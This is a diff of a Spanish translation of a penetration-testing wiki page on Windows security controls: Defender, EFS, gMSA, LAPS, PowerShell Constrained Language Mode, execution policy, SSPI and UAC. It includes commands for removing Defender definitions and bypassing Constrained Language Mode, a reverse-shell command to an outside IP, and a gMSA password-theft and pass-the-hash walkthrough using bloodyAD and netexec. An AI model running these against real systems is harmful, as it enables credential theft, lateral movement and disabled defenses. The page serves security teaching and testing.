-Para verificar el **estado** de **Defender** puedes ejecutar el cmdlet de PS **`Get-MpComputerStatus`** (verifica el valor de **`RealTimeProtectionEnabled`** para saber si está activo):
+Para comprobar el **estado** de **Defender** puedes ejecutar el cmdlet de PS **`Get-MpComputerStatus`** (revisa el valor de **`RealTimeProtectionEnabled`** para saber si está activo):
 
 <pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
 
@@ -101,54 +101,55 @@ sc query windefend
 #Delete all rules of Defender (useful for machines without internet access)
 "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
 ```
-## Encrypted File System (EFS)
+## Sistema de archivos cifrado (EFS)
 
-EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** del archivo encriptado $EFS. Cuando se necesita la desencriptación, se utiliza la correspondiente **clave privada** del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System).
+EFS protege los archivos mediante cifrado, utilizando una **clave simétrica** conocida como **File Encryption Key (FEK)**. Esta clave se cifra con la **clave pública** del usuario y se almacena dentro del $EFS **flujo de datos alternativo** del archivo cifrado. Cuando se necesita descifrar, se usa la **clave privada** correspondiente del certificado digital del usuario para descifrar la FEK desde el flujo $EFS. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
 
-**Escenarios de desencriptación sin iniciación del usuario** incluyen:
+**Escenarios de descifrado sin intervención del usuario** incluyen:
 
-- Cuando los archivos o carpetas se mueven a un sistema de archivos no EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se desencriptan automáticamente.
-- Los archivos encriptados enviados a través de la red mediante el protocolo SMB/CIFS se desencriptan antes de la transmisión.
+- Cuando archivos o carpetas se mueven a un sistema de archivos no EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se descifran automáticamente.
+- Archivos cifrados enviados por la red vía SMB/CIFS se descifran antes de la transmisión.
 
-Este método de encriptación permite **acceso transparente** a los archivos encriptados para el propietario. Sin embargo, simplemente cambiar la contraseña del propietario e iniciar sesión no permitirá la desencriptación.
+Este método de cifrado permite **acceso transparente** a los archivos cifrados para el propietario. Sin embargo, simplemente cambiar la contraseña del propietario e iniciar sesión no permitirá el descifrado.
 
-**Puntos Clave**:
+**Puntos clave**:
 
-- EFS utiliza una FEK simétrica, encriptada con la clave pública del usuario.
-- La desencriptación emplea la clave privada del usuario para acceder a la FEK.
-- La desencriptación automática ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red.
-- Los archivos encriptados son accesibles para el propietario sin pasos adicionales.
+- EFS usa una FEK simétrica, cifrada con la clave pública del usuario.
+- El descifrado emplea la clave privada del usuario para acceder a la FEK.
+- El descifrado automático ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red.
+- Los archivos cifrados son accesibles al propietario sin pasos adicionales.
 
 ### Ver información de EFS
 
-Verifica si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
+Comprueba si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
 
-Verifica **quién** tiene **acceso** al archivo usando cipher /c \<file>\
+Comprueba **quién** tiene **acceso** al archivo usando cipher /c \<file>\
 También puedes usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos
 
-### Desencriptando archivos EFS
+### Descifrado de archivos EFS
 
-#### Siendo Autoridad del Sistema
+#### Obtener privilegios SYSTEM
 
-Este método requiere que el **usuario víctima** esté **ejecutando** un **proceso** dentro del host. Si ese es el caso, usando sesiones de `meterpreter` puedes suplantar el token del proceso del usuario (`impersonate_token` de `incognito`). O simplemente podrías `migrate` al proceso del usuario.
+Este método requiere que el **usuario víctima** esté **ejecutando** un **proceso** en el host. Si ese es el caso, usando una sesión `meterpreter` puedes suplantar el token del proceso del usuario (`impersonate_token` de `incognito`). O simplemente podrías `migrate` al proceso del usuario.
+
+#### Conocer la contraseña del usuario
 
-#### Conociendo la contraseña del usuario
 
 {{#ref}}
 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 {{#endref}}
 
-## Group Managed Service Accounts (gMSA)
+## Cuentas de servicio administradas de grupo (gMSA)
 
-Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras de TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la configuración de "**La contraseña nunca expira**", los gMSA ofrecen una solución más segura y manejable:
+Microsoft desarrolló las **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la opción "**Password never expire**", las gMSA ofrecen una solución más segura y manejable:
 
-- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política del dominio o computadora. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas.
-- **Seguridad Mejorada**: estas cuentas son inmunes a bloqueos y no pueden ser utilizadas para inicios de sesión interactivos, mejorando su seguridad.
-- **Soporte para Múltiples Hosts**: los gMSA pueden ser compartidos entre múltiples hosts, lo que los hace ideales para servicios que se ejecutan en múltiples servidores.
-- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA soportan la ejecución de tareas programadas.
-- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN.
+- **Gestión automática de contraseñas**: las gMSA usan una contraseña compleja de 240 caracteres que cambia automáticamente según la política de dominio o equipo. Este proceso lo gestiona el Key Distribution Service (KDC) de Microsoft, eliminando la necesidad de actualizar contraseñas manualmente.
+- **Mayor seguridad**: estas cuentas son inmunes a bloqueos y no pueden usarse para inicios de sesión interactivos, mejorando su seguridad.
+- **Soporte para múltiples hosts**: las gMSA pueden compartirse entre varios hosts, siendo ideales para servicios que se ejecutan en múltiples servidores.
+- **Capacidad para tareas programadas**: a diferencia de las managed service accounts, las gMSA soportan la ejecución de scheduled tasks.
+- **Gestión simplificada de SPN**: el sistema actualiza automáticamente el Service Principal Name (SPN) cuando hay cambios en los detalles sAMaccount del equipo o en el nombre DNS, simplificando la gestión de SPN.
 
-Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DCs). Esta contraseña, un blob de datos encriptado conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe ser autenticada con 'Sealing & Secure'.
+Las contraseñas de las gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Domain Controllers (DCs). Esta contraseña, un blob de datos cifrado conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que las gMSA están instaladas, garantizando un entorno seguro. Para acceder a esta información se requiere una conexión segura como LDAPS, o que la conexión esté autenticada con 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -156,23 +157,59 @@ Puedes leer esta contraseña con [**GMSAPasswordReader**](https://github.com/rva
 ```
 /GMSAPasswordReader --AccountName jkohler
 ```
-[**Encuentra más información en esta publicación**](https://cube0x0.github.io/Relaying-for-gMSA/)
+[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
+
+Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
+
+### Abuso del encadenamiento de ACL para leer la contraseña gestionada de gMSA (GenericAll -> ReadGMSAPassword)
+
+En muchos entornos, usuarios con pocos privilegios pueden pivotar hacia secretos de gMSA sin comprometer el DC abusando de ACLs de objetos mal configuradas:
+
+- Un grupo que puedes controlar (p. ej., mediante GenericAll/GenericWrite) obtiene `ReadGMSAPassword` sobre un gMSA.
+- Al agregarte a ese grupo, heredas el derecho a leer el blob `msDS-ManagedPassword` del gMSA vía LDAP y derivar credenciales NTLM utilizables.
+
+Flujo típico:
+
+1) Descubre la ruta con BloodHound y marca tus principals de foothold como Owned. Busca aristas como:
+- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
+
+2) Agrégate al grupo intermedio que controlas (ejemplo con bloodyAD):
+```bash
+bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
+```
+3) Leer la contraseña gestionada del gMSA vía LDAP y derivar el hash NTLM. NetExec automatiza la extracción de `msDS-ManagedPassword` y la conversión a NTLM:
+```bash
+# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
+netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
+# Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
+```
+4) Autentícese como la gMSA usando el NTLM hash (no se necesita plaintext). Si la cuenta está en Remote Management Users, WinRM funcionará directamente:
+```bash
+# SMB / WinRM as the gMSA using the NT hash
+netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
+netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
+```
+Notas:
+- Las lecturas LDAP de `msDS-ManagedPassword` requieren sealing (p. ej., LDAPS/sign+seal). Las herramientas manejan esto automáticamente.
+- A los gMSAs frecuentemente se les otorgan derechos locales como WinRM; valida la pertenencia a grupos (p. ej., Remote Management Users) para planear movimientos laterales.
+- Si solo necesitas el blob para calcular tú mismo el NTLM, consulta la estructura MSDS-MANAGEDPASSWORD_BLOB.
+
 
-Además, consulta esta [página web](https://cube0x0.github.io/Relaying-for-gMSA/) sobre cómo realizar un **ataque de retransmisión NTLM** para **leer** la **contraseña** de **gMSA**.
 
 ## LAPS
 
-La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de Administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer contraseñas de administrador local.
+La Local Administrator Password Solution (LAPS), disponible para descarga desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite gestionar las contraseñas de los Administradores locales. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma centralizada en Active Directory. El acceso a estas contraseñas está restringido mediante ACLs a usuarios autorizados. Con permisos suficientes, es posible leer las contraseñas de administradores locales.
+
 
 {{#ref}}
 ../active-directory-methodology/laps.md
 {{#endref}}
 
-## Modo de Lenguaje Restringido de PowerShell
+## PS Constrained Language Mode
 
-PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **restringe muchas de las funcionalidades** necesarias para usar PowerShell de forma efectiva, como bloquear COM objects, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.
 
-### **Verificar**
+### **Comprobar**
 ```bash
 $ExecutionContext.SessionState.LanguageMode
 #Values could be: FullLanguage or ConstrainedLanguage
@@ -182,22 +219,22 @@ $ExecutionContext.SessionState.LanguageMode
 #Easy bypass
 Powershell -version 2
 ```
-En Windows actual, esa elusión no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Examinar_ -> _Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
+En las versiones actuales de Windows ese Bypass no funciona, pero puedes usar[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
+**Para compilarlo puede que necesites** **para** _**Agregar una referencia**_ -> _Examinar_ ->_Examinar_ -> añadir `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
 
-#### Elusión directa:
+#### Bypass directo:
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
 ```
-#### Shell inversa:
+#### Reverse shell:
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir el modo restringido. Para más información, consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y evadir Constrained Language Mode. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 
-## Política de Ejecución de PS
+## Política de ejecución de PS
 
-Por defecto, está configurada como **restringida.** Principales formas de eludir esta política:
+Por defecto está configurada como **restricted.** Las principales formas de evadir esta política:
 ```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
@@ -217,35 +254,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 9º Use EncodeCommand
 $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
 ```
-Más se puede encontrar [aquí](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
+Más información se puede encontrar [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
 
-## Interfaz de Proveedor de Soporte de Seguridad (SSPI)
+## Security Support Provider Interface (SSPI)
 
-Es la API que se puede usar para autenticar usuarios.
+Es la API que se puede usar para autenticar a los usuarios.
 
-El SSPI se encargará de encontrar el protocolo adecuado para dos máquinas que desean comunicarse. El método preferido para esto es Kerberos. Luego, el SSPI negociará qué protocolo de autenticación se utilizará, estos protocolos de autenticación se llaman Proveedor de Soporte de Seguridad (SSP), se encuentran dentro de cada máquina Windows en forma de un DLL y ambas máquinas deben soportar el mismo para poder comunicarse.
+El SSPI se encargará de encontrar el protocolo adecuado para que dos máquinas que quieran comunicarse lo usen. El método preferido para esto es Kerberos. Luego el SSPI negociará qué protocolo de autenticación se utilizará; estos protocolos de autenticación se llaman Security Support Provider (SSP), están ubicados dentro de cada máquina Windows en forma de DLL y ambas máquinas deben soportar el mismo para poder comunicarse.
 
 ### Principales SSPs
 
 - **Kerberos**: El preferido
 - %windir%\Windows\System32\kerberos.dll
-- **NTLMv1** y **NTLMv2**: Razones de compatibilidad
+- **NTLMv1** and **NTLMv2**: Razones de compatibilidad
 - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Servidores web y LDAP, contraseña en forma de un hash MD5
+- **Digest**: Web servers and LDAP, password in form of a MD5 hash
 - %windir%\Windows\System32\Wdigest.dll
-- **Schannel**: SSL y TLS
+- **Schannel**: SSL and TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: Se utiliza para negociar el protocolo a usar (Kerberos o NTLM siendo Kerberos el predeterminado)
+- **Negotiate**: Se usa para negociar el protocolo a utilizar (Kerberos o NTLM, siendo Kerberos el predeterminado)
 - %windir%\Windows\System32\lsasrv.dll
 
 #### La negociación podría ofrecer varios métodos o solo uno.
 
-## UAC - Control de Cuentas de Usuario
+## UAC - User Account Control
+
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que habilita un **mensaje de consentimiento para actividades elevadas**.
 
-[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que habilita un **mensaje de consentimiento para actividades elevadas**.
 
 {{#ref}}
 uac-user-account-control.md
 {{#endref}}
 
+## Referencias
+
+- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
+- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
+- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
+
 {{#include ../../banners/hacktricks-training.md}}